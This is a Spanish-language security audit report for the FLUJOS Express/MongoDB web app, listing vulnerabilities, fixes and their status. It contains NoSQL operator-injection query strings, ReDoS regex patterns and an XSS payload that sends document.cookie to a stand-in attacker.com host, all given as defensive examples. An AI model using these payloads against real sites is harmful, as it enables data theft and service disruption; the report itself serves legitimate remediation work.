- WIKIPEDIA/main.py: import buscar_articulos y obtener_contenido_wikipedia - myenv: instalados wikipedia, wikipedia-api, deep-translator - PIPELINE_MAESTRO.md: tabla de errores conocidos, Nice/CPUQuota, timer 2d - SEGURIDAD.md: tabla de fixes aplicados en producción Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
223 lines
7.1 KiB
Markdown
223 lines
7.1 KiB
Markdown
# Informe de Seguridad — FLUJOS
|
||
**Fecha:** 2026-04-21
|
||
**Auditor:** Análisis de código estático + pruebas manuales en local
|
||
**Scope:** API REST (`FLUJOS_APP.js`), frontend JS, configuración nginx/systemd
|
||
|
||
---
|
||
|
||
## Resumen ejecutivo
|
||
|
||
La aplicación despliega una API Express + MongoDB sin autenticación ni rate limiting. Se han identificado **2 vulnerabilidades críticas** explotables ahora mismo, 3 altas y 2 medias.
|
||
|
||
---
|
||
|
||
## Vulnerabilidades encontradas
|
||
|
||
### 🔴 CRÍTICA 1 — NoSQL Injection (MongoDB Operator Injection)
|
||
|
||
**Archivo:** `FLUJOS/BACK_BACK/FLUJOS_APP.js` líneas 57–72
|
||
**Estado:** CONFIRMADA. Probada manualmente, devuelve datos reales.
|
||
|
||
Express parsea `?tema[$ne]=nada` como el objeto JavaScript `{ $ne: "nada" }`, que MongoDB acepta como operador. Todos los parámetros de query van directamente al filtro sin validación de tipo.
|
||
|
||
**Vectores explotables:**
|
||
```
|
||
GET /api/data?tema[$ne]=nada&nodos=500
|
||
→ Devuelve 500 nodos de CUALQUIER tema (bypasa el filtro)
|
||
|
||
GET /api/data?tema[$gt]=&nodos=500
|
||
→ Equivalente a "todos los documentos donde tema > ''"
|
||
|
||
GET /api/data?subtematica[$regex]=.*&tema=guerra+global
|
||
→ Itera toda la subcolección
|
||
|
||
GET /api/data?fechaInicio[$type]=9&fechaFin[$type]=9&tema=guerra+global
|
||
→ Fuerza error de tipo, puede revelar stack traces en logs
|
||
```
|
||
|
||
**Fix (10 min):**
|
||
```javascript
|
||
// En FLUJOS_APP.js, justo después de desestructurar req.query:
|
||
function sanitizeParam(val) {
|
||
if (typeof val !== 'string') return undefined;
|
||
return val.trim();
|
||
}
|
||
const tema = sanitizeParam(req.query.tema);
|
||
const subtematica = sanitizeParam(req.query.subtematica);
|
||
const palabraClave = sanitizeParam(req.query.palabraClave);
|
||
const fechaInicio = sanitizeParam(req.query.fechaInicio);
|
||
const fechaFin = sanitizeParam(req.query.fechaFin);
|
||
const nodos = sanitizeParam(req.query.nodos);
|
||
const complejidad = sanitizeParam(req.query.complejidad);
|
||
```
|
||
|
||
---
|
||
|
||
### 🔴 CRÍTICA 2 — Puerto 3000 expuesto públicamente
|
||
|
||
**Estado:** CONFIRMADA. `ss -tlnp` muestra `0.0.0.0:3000`.
|
||
|
||
Node.js escucha en todas las interfaces. Cualquiera puede conectar directamente al backend Node sin pasar por nginx, evitando HTTPS y cualquier posible middleware de nginx.
|
||
|
||
```
|
||
LISTEN 0.0.0.0:3000 → accesible desde internet sin TLS
|
||
```
|
||
|
||
**Fix (1 línea):**
|
||
```javascript
|
||
// FLUJOS_APP.js línea 235:
|
||
app.listen(port, '127.0.0.1', () => { ... }); // era '0.0.0.0'
|
||
```
|
||
|
||
---
|
||
|
||
### 🟠 ALTA 1 — XSS Almacenado (Stored XSS)
|
||
|
||
**Archivo:** `FLUJOS/VISUALIZACION/public/output_int_sec.js` línea 90–92
|
||
**Archivo:** `FLUJOS/VISUALIZACION/public/3dscript_eco-corp.html` líneas 88, 102
|
||
|
||
El contenido de nodos (`content`) proveniente de MongoDB se inserta con `innerHTML`:
|
||
```javascript
|
||
detailPanel.innerHTML = `
|
||
<h2>Detalle</h2>
|
||
<pre>${content || 'No hay contenido disponible.'}</pre>
|
||
`;
|
||
```
|
||
|
||
Si la BD se compromete o un artículo scrapeado contiene HTML malicioso (`<img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>`), se ejecuta en el navegador de todos los visitantes.
|
||
|
||
**Fix:**
|
||
```javascript
|
||
const pre = document.createElement('pre');
|
||
pre.textContent = content || 'No hay contenido disponible.';
|
||
const h2 = document.createElement('h2');
|
||
h2.textContent = 'Detalle';
|
||
detailPanel.replaceChildren(h2, pre);
|
||
```
|
||
|
||
---
|
||
|
||
### 🟠 ALTA 2 — ReDoS via `$regex` sin sanitizar
|
||
|
||
**Archivo:** `FLUJOS_APP.js` línea 72
|
||
|
||
```javascript
|
||
nodesQuery.texto = { $regex: palabraClave, $options: 'i' };
|
||
```
|
||
|
||
Un patrón como `(a+)+$` o `(.*a){20}` puede bloquear MongoDB durante segundos o minutos (ataque de Denegación de Servicio).
|
||
|
||
**Fix:**
|
||
```javascript
|
||
if (palabraClave) {
|
||
if (typeof palabraClave !== 'string' || palabraClave.length > 100) {
|
||
res.status(400).json({ error: 'palabraClave inválida' });
|
||
return;
|
||
}
|
||
// Escapar metacaracteres regex
|
||
const escapedKw = palabraClave.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
|
||
nodesQuery.texto = { $regex: escapedKw, $options: 'i' };
|
||
}
|
||
```
|
||
|
||
---
|
||
|
||
### 🟠 ALTA 3 — Sin rate limiting
|
||
|
||
No existe ningún límite de peticiones. Un script puede hacer miles de consultas/segundo, saturando MongoDB o la RAM del servidor.
|
||
|
||
**Fix:**
|
||
```bash
|
||
npm install express-rate-limit
|
||
```
|
||
```javascript
|
||
const rateLimit = require('express-rate-limit');
|
||
app.use('/api/', rateLimit({
|
||
windowMs: 60 * 1000, // 1 minuto
|
||
max: 60, // 60 peticiones por minuto por IP
|
||
standardHeaders: true,
|
||
legacyHeaders: false,
|
||
}));
|
||
```
|
||
|
||
---
|
||
|
||
### 🟡 MEDIA 1 — CSP con `unsafe-inline`
|
||
|
||
La CSP actual permite `'unsafe-inline'` en `scriptSrc`. Esto anula la protección XSS de la CSP porque cualquier script inline se ejecuta sin restricción.
|
||
|
||
Origen del problema: los `<script>` inline en los HTML (fade-out del fondo, setTimeout).
|
||
|
||
**Fix:** Mover ese JS inline a ficheros `.js` separados y eliminar `'unsafe-inline'` del CSP.
|
||
|
||
---
|
||
|
||
### 🟡 MEDIA 2 — Helmet parcialmente configurado / X-Powered-By expuesto
|
||
|
||
Solo se usa `helmet.contentSecurityPolicy()`, dejando otras protecciones de Helmet desactivadas. La cabecera `X-Powered-By: Express` está visible, revelando el stack.
|
||
|
||
**Fix:**
|
||
```javascript
|
||
app.use(helmet()); // activa todo por defecto
|
||
app.use(helmet.contentSecurityPolicy({...})); // luego ajusta solo el CSP
|
||
```
|
||
|
||
---
|
||
|
||
## Fixes aplicados (2026-04-22)
|
||
|
||
Todos los ítems críticos y altos han sido corregidos en producción:
|
||
|
||
| # | Vulnerabilidad | Fix aplicado |
|
||
|---|---|---|
|
||
| 1 | NoSQL Injection | `sanitizeParam()` + `TEMAS_VALIDOS` whitelist |
|
||
| 2 | Puerto 3000 público | `app.listen(port, '127.0.0.1', ...)` |
|
||
| 3 | XSS stored innerHTML | `textContent` + DOM API en `output_int_sec.js` y `3dscript_eco-corp.html` |
|
||
| 4 | ReDoS palabraClave | Escape de metacaracteres + límite 100 chars |
|
||
| 5 | Helmet parcial | `app.use(helmet())` completo + CSP sin `unsafe-inline` |
|
||
| 6 | CSRF | Filtro Origin en `/api/` |
|
||
| 7 | Body flooding | `bodyParser limit: '10kb'` |
|
||
|
||
**Pendiente sin fix:** Rate limiting (express-rate-limit no instalado).
|
||
|
||
---
|
||
|
||
## Lo que está bien
|
||
|
||
| Componente | Estado |
|
||
|---|---|
|
||
| HTTPS con Let's Encrypt | Activo en nginx |
|
||
| MongoDB en 127.0.0.1 | No expuesto al exterior |
|
||
| Límite de nodos máx. 500 | `Math.min(parseInt(nodos) || 100, 500)` |
|
||
| Helmet completo | Activo desde 2026-04-22 |
|
||
| No hay SQL injection | BD es MongoDB, no SQL |
|
||
| No directory listing en /wiki-images/ | Express static lo rechaza |
|
||
| HTTP → HTTPS redirect | Configurado en nginx |
|
||
|
||
---
|
||
|
||
## Configuración nginx relevante (theflows.net)
|
||
|
||
```
|
||
/etc/nginx/sites-enabled/theflows.net
|
||
├── HTTP :80 → redirect 301 HTTPS
|
||
├── HTTPS :443 ssl http2 (Let's Encrypt)
|
||
│ ├── root: FLUJOS/VISUALIZACION/public (estáticos directos)
|
||
│ └── /api/ → proxy_pass http://127.0.0.1:3000/api/
|
||
```
|
||
|
||
**Problema:** el backend Node también escucha en `0.0.0.0:3000`, así que nginx solo es un proxy opcional, no obligatorio.
|
||
|
||
---
|
||
|
||
## Orden de prioridad de fixes
|
||
|
||
| # | Vulnerabilidad | Impacto | Esfuerzo |
|
||
|---|---|---|---|
|
||
| 1 | NoSQL Injection | CRÍTICO | 10 min |
|
||
| 2 | Puerto 3000 público | CRÍTICO | 1 línea |
|
||
| 3 | XSS stored (innerHTML) | ALTO | 15 min |
|
||
| 4 | ReDoS via palabraClave | ALTO | 10 min |
|
||
| 5 | Rate limiting | ALTO | 15 min |
|
||
| 6 | CSP unsafe-inline | MEDIO | 30 min |
|
||
| 7 | Helmet completo | MEDIO | 5 min |
|